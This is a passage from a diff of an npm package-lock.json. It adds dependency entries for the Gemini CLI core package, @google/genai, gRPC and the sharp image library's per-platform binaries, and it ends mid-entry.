"https://registry.npmjs.org/@google-cloud/promisify/-/promisify-4.0.0.tgz", + "integrity": "sha512-Orxzlfb9c67A15cq2JQEyVc7wEsmFBmHjZWZYQMUyJ1qivXyMwdyNOs9odi79hze+2zqdTtu1E19IM/FtqZ10g==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/@google/gemini-cli-core": { + "version": "0.41.2", + "resolved": "https://registry.npmjs.org/@google/gemini-cli-core/-/gemini-cli-core-0.41.2.tgz", + "integrity": "sha512-nJUmkiQh2hyp8lpMnJpBAvW0wtvnF7b3tqIVR8bSWwjB2CmcuHZjbRWN9wgFZ+RcGphfrvAJuaA9sEcr7+kLOQ==", + "license": "Apache-2.0", + "dependencies": { + "@a2a-js/sdk": "0.3.11", + "@bufbuild/protobuf": "^2.11.0", + "@google-cloud/logging": "^11.2.1", + "@google-cloud/opentelemetry-cloud-monitoring-exporter": "^0.21.0", + "@google-cloud/opentelemetry-cloud-trace-exporter": "^3.0.0", + "@google/genai": "1.30.0", + "@grpc/grpc-js": "^1.14.3", + "@iarna/toml": "^2.2.5", + "@modelcontextprotocol/sdk": "^1.23.0", + "@opentelemetry/api": "^1.9.0", + "@opentelemetry/api-logs": "^0.211.0", + "@opentelemetry/core": "^2.5.0", + "@opentelemetry/exporter-logs-otlp-grpc": "^0.211.0", + "@opentelemetry/exporter-logs-otlp-http": "^0.211.0", + "@opentelemetry/exporter-metrics-otlp-grpc": "^0.211.0", + "@opentelemetry/exporter-metrics-otlp-http": "^0.211.0", + "@opentelemetry/exporter-trace-otlp-grpc": "^0.211.0", + "@opentelemetry/exporter-trace-otlp-http": "^0.211.0", + "@opentelemetry/instrumentation-http": "^0.211.0", + "@opentelemetry/otlp-exporter-base": "^0.211.0", + "@opentelemetry/resources": "^2.5.0", + "@opentelemetry/sdk-logs": "^0.211.0", + "@opentelemetry/sdk-metrics": "^2.5.0", + "@opentelemetry/sdk-node": "^0.211.0", + "@opentelemetry/sdk-trace-base": "^2.5.0", + "@opentelemetry/sdk-trace-node": "^2.5.0", + "@opentelemetry/semantic-conventions": "^1.39.0", + "@types/html-to-text": "^9.0.4", + "@xterm/headless": "5.5.0", + "ajv": "^8.17.1", + "ajv-formats": "^3.0.0", + "chardet": "^2.1.0", + "chokidar": "^5.0.0", + "command-exists": "^1.2.9", + "diff": "^8.0.3", + "dotenv": "^17.2.4", + "dotenv-expand": "^12.0.3", + "execa": "^9.6.1", + "fast-levenshtein": "^2.0.6", + "fdir": "^6.4.6", + "fzf": "^0.5.2", + "glob": "^12.0.0", + "google-auth-library": "^9.11.0", + "html-to-text": "^9.0.5", + "https-proxy-agent": "^7.0.6", + "ignore": "^7.0.0", + "ipaddr.js": "^1.9.1", + "isbinaryfile": "^5.0.7", + "js-yaml": "^4.1.1", + "json-stable-stringify": "^1.3.0", + "marked": "^15.0.12", + "mime": "4.0.7", + "mnemonist": "^0.40.3", + "open": "^10.1.2", + "picomatch": "^4.0.1", + "proper-lockfile": "^4.1.2", + "puppeteer-core": "^24.0.0", + "read-package-up": "^11.0.0", + "shell-quote": "^1.8.3", + "simple-git": "^3.28.0", + "strip-ansi": "^7.1.0", + "strip-json-comments": "^3.1.1", + "systeminformation": "^5.25.11", + "tree-sitter-bash": "^0.25.0", + "undici": "^7.10.0", + "uuid": "^13.0.0", + "web-tree-sitter": "^0.25.10", + "zod": "^3.25.76", + "zod-to-json-schema": "^3.25.1" + }, + "engines": { + "node": ">=20" + }, + "optionalDependencies": { + "@github/keytar": "^7.10.6", + "@lydell/node-pty": "1.1.0", + "@lydell/node-pty-darwin-arm64": "1.1.0", + "@lydell/node-pty-darwin-x64": "1.1.0", + "@lydell/node-pty-linux-x64": "1.1.0", + "@lydell/node-pty-win32-arm64": "1.1.0", + "@lydell/node-pty-win32-x64": "1.1.0", + "node-pty": "^1.0.0" + } + }, + "node_modules/@google/gemini-cli-core/node_modules/@google/genai": { + "version": "1.30.0", + "resolved": "https://registry.npmjs.org/@google/genai/-/genai-1.30.0.tgz", + "integrity": "sha512-3MRcgczBFbUat1wIlZoLJ0vCCfXgm7Qxjh59cZi2X08RgWLtm9hKOspzp7TOg1TV2e26/MLxR2GR5yD5GmBV2w==", + "license": "Apache-2.0", + "dependencies": { + "google-auth-library": "^10.3.0", + "ws": "^8.18.0" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "@modelcontextprotocol/sdk": "^1.20.1" + }, + "peerDependenciesMeta": { + "@modelcontextprotocol/sdk": { + "optional": true + } + } + }, + "node_modules/@google/gemini-cli-core/node_modules/@google/genai/node_modules/google-auth-library": { + "version": "10.6.2", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-10.6.2.tgz", + "integrity": "sha512-e27Z6EThmVNNvtYASwQxose/G57rkRuaRbQyxM2bvYLLX/GqWZ5chWq2EBoUchJbCc57eC9ArzO5wMsEmWftCw==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^7.1.4", + "gcp-metadata": "8.1.2", + "google-logging-utils": "1.1.3", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@google/gemini-cli-core/node_modules/diff": { + "version": "8.0.4", + "resolved": "https://registry.npmjs.org/diff/-/diff-8.0.4.tgz", + "integrity": "sha512-DPi0FmjiSU5EvQV0++GFDOJ9ASQUVFh5kD+OzOnYdi7n3Wpm9hWWGfB/O2blfHcMVTL5WkQXSnRiK9makhrcnw==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/@google/gemini-cli-core/node_modules/google-auth-library": { + "version": "9.15.1", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", + "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^6.1.1", + "gcp-metadata": "^6.1.0", + "gtoken": "^7.0.0", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google/gemini-cli-core/node_modules/google-auth-library/node_modules/gaxios": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", + "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "is-stream": "^2.0.0", + "node-fetch": "^2.6.9", + "uuid": "^9.0.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google/gemini-cli-core/node_modules/google-auth-library/node_modules/gcp-metadata": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", + "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^6.1.1", + "google-logging-utils": "^0.0.2", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@google/gemini-cli-core/node_modules/google-auth-library/node_modules/google-logging-utils": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", + "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/@google/gemini-cli-core/node_modules/google-auth-library/node_modules/uuid": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.1.tgz", + "integrity": "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/@google/gemini-cli-core/node_modules/marked": { + "version": "15.0.12", + "resolved": "https://registry.npmjs.org/marked/-/marked-15.0.12.tgz", + "integrity": "sha512-8dD6FusOQSrpv9Z1rdNMdlSgQOIP880DHqnohobOmYLElGEqAL/JvxvuxZO16r4HtjTlfPRDC1hbvxC9dPN2nA==", + "license": "MIT", + "bin": { + "marked": "bin/marked.js" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/@google/gemini-cli-core/node_modules/mime": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/mime/-/mime-4.0.7.tgz", + "integrity": "sha512-2OfDPL+e03E0LrXaGYOtTFIYhiuzep94NSsuhrNULq+stylcJedcHdzHtz0atMUuGwJfFYs0YL5xeC/Ca2x0eQ==", + "funding": [ + "https://github.com/sponsors/broofa" + ], + "license": "MIT", + "bin": { + "mime": "bin/cli.js" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/@google/gemini-cli-core/node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "license": "MIT", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/@google/gemini-cli-core/node_modules/undici": { + "version": "7.25.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-7.25.0.tgz", + "integrity": "sha512-xXnp4kTyor2Zq+J1FfPI6Eq3ew5h6Vl0F/8d9XU5zZQf1tX9s2Su1/3PiMmUANFULpmksxkClamIZcaUqryHsQ==", + "license": "MIT", + "engines": { + "node": ">=20.18.1" + } + }, + "node_modules/@google/gemini-cli-core/node_modules/uuid": { + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-13.0.0.tgz", + "integrity": "sha512-XQegIaBTVUjSHliKqcnFqYypAd4S+WCYt5NIeRs6w/UAry7z8Y9j5ZwRRL4kzq9U3sD6v+85er9FvkEaBpji2w==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "license": "MIT", + "bin": { + "uuid": "dist-node/bin/uuid" + } + }, + "node_modules/@google/gemini-cli-core/node_modules/zod": { + "version": "3.25.76", + "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", + "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, + "node_modules/@google/genai": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@google/genai/-/genai-2.0.1.tgz", + "integrity": "sha512-trxxbVePM9J8Cuni5x7+xvApoqb2y6Zk27/wugjT2cuwHOT78nFGdf/Ni29MkDxzWwrj90OQpno1Ana6dm3D2A==", + "hasInstallScript": true, + "license": "Apache-2.0", + "dependencies": { + "google-auth-library": "^10.3.0", + "p-retry": "^4.6.2", + "protobufjs": "^7.5.4", + "ws": "^8.18.0" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "@modelcontextprotocol/sdk": "^1.25.2" + }, + "peerDependenciesMeta": { + "@modelcontextprotocol/sdk": { + "optional": true + } + } + }, + "node_modules/@grpc/grpc-js": { + "version": "1.14.3", + "resolved": "https://registry.npmjs.org/@grpc/grpc-js/-/grpc-js-1.14.3.tgz", + "integrity": "sha512-Iq8QQQ/7X3Sac15oB6p0FmUg/klxQvXLeileoqrTRGJYLV+/9tubbr9ipz0GKHjmXVsgFPo/+W+2cA8eNcR+XA==", + "license": "Apache-2.0", + "dependencies": { + "@grpc/proto-loader": "^0.8.0", + "@js-sdsl/ordered-map": "^4.4.2" + }, + "engines": { + "node": ">=12.10.0" + } + }, + "node_modules/@grpc/proto-loader": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@grpc/proto-loader/-/proto-loader-0.8.0.tgz", + "integrity": "sha512-rc1hOQtjIWGxcxpb9aHAfLpIctjEnsDehj0DAiVfBlmT84uvR0uUtN2hEi/ecvWVjXUGf5qPF4qEgiLOx1YIMQ==", + "license": "Apache-2.0", + "dependencies": { + "lodash.camelcase": "^4.3.0", + "long": "^5.0.0", + "protobufjs": "^7.5.3", + "yargs": "^17.7.2" + }, + "bin": { + "proto-loader-gen-types": "build/bin/proto-loader-gen-types.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@hono/node-server": { + "version": "1.19.13", + "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-1.19.13.tgz", + "integrity": "sha512-TsQLe4i2gvoTtrHje625ngThGBySOgSK3Xo2XRYOdqGN1teR8+I7vchQC46uLJi8OF62YTYA3AhSpumtkhsaKQ==", + "license": "MIT", + "engines": { + "node": ">=18.14.1" + }, + "peerDependencies": { + "hono": "^4" + } + }, + "node_modules/@iarna/toml": { + "version": "2.2.5", + "resolved": "https://registry.npmjs.org/@iarna/toml/-/toml-2.2.5.tgz", + "integrity": "sha512-trnsAYxU3xnS1gPHPyU961coFyLkh4gAD/0zQ5mymY4yOZ+CYvsPqUbOFSw0aDM4y0tV7tiFxL/1XfXPNC6IPg==", + "license": "ISC" + }, + "node_modules/@img/colour": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@img/colour/-/colour-1.1.0.tgz", + "integrity": "sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==", + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@img/sharp-darwin-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.34.5.tgz", + "integrity": "sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-darwin-arm64": "1.2.4" + } + }, + "node_modules/@img/sharp-darwin-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.34.5.tgz", + "integrity": "sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-darwin-x64": "1.2.4" + } + }, + "node_modules/@img/sharp-libvips-darwin-arm64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.2.4.tgz", + "integrity": "sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==", + "cpu": [ + "arm64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "darwin" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-darwin-x64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.2.4.tgz", + "integrity": "sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==", + "cpu": [ + "x64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "darwin" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-arm": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.2.4.tgz", + "integrity": "sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==", + "cpu": [ + "arm" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-arm64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.2.4.tgz", + "integrity": "sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==", + "cpu": [ + "arm64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-ppc64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-ppc64/-/sharp-libvips-linux-ppc64-1.2.4.tgz", + "integrity": "sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==", + "cpu": [ + "ppc64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-riscv64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-riscv64/-/sharp-libvips-linux-riscv64-1.2.4.tgz", + "integrity": "sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==", + "cpu": [ + "riscv64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-s390x": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.2.4.tgz", + "integrity": "sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==", + "cpu": [ + "s390x" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-x64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.2.4.tgz", + "integrity": "sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==", + "cpu": [ + "x64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linuxmusl-arm64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.2.4.tgz", + "integrity": "sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==", + "cpu": [ + "arm64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linuxmusl-x64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.2.4.tgz", + "integrity": "sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==", + "cpu": [ + "x64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-linux-arm": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.34.5.tgz", + "integrity": "sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==", + "cpu": [ + "arm" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-arm": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.34.5.tgz", + "integrity": "sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-arm64": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-ppc64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-ppc64/-/sharp-linux-ppc64-0.34.5.tgz", + "integrity": "sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==", + "cpu": [ + "ppc64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-ppc64": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-riscv64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-riscv64/-/sharp-linux-riscv64-0.34.5.tgz", + "integrity": "sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==", + "cpu": [ + "riscv64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-riscv64": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-s390x": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.34.5.tgz", + "integrity": "sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==", + "cpu": [ + "s390x" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-s390x": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.34.5.tgz", + "integrity": "sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-x64": "1.2.4" + } + }, + "node_modules/@img/sharp-linuxmusl-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.34.5.tgz", + "integrity": "sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linuxmusl-arm64": "1.2.4" + } + }, + "node_modules/@img/sharp-linuxmusl-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.34.5.tgz", + "integrity": "sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linuxmusl-x64": "1.2.4" + } + }, + "node_modules/@img/sharp-wasm32": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.34.5.tgz", + "integrity": "sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==", + "cpu": [ + "wasm32" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT", + "optional": true, + "dependencies": { + "@emnapi/runtime": "^1.7.0" + }, + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-arm64/-/sharp-win32-arm64-0.34.5.tgz", + "integrity": "sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-ia32": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.34.5.tgz", + "integrity": "sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==", + "cpu": [ + "ia32" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.34.5.tgz", + "integrity": "sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@isaacs/cliui": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-9.0.0.tgz", + "integrity": "sha512-AokJm4tuBHillT+FpMtxQ60n8ObyXBatq7jD2/JA9dxbDDokKQm8KMht5ibGzLVU9IJDIKK4TPKgMHEYMn3lMg==", + "license": 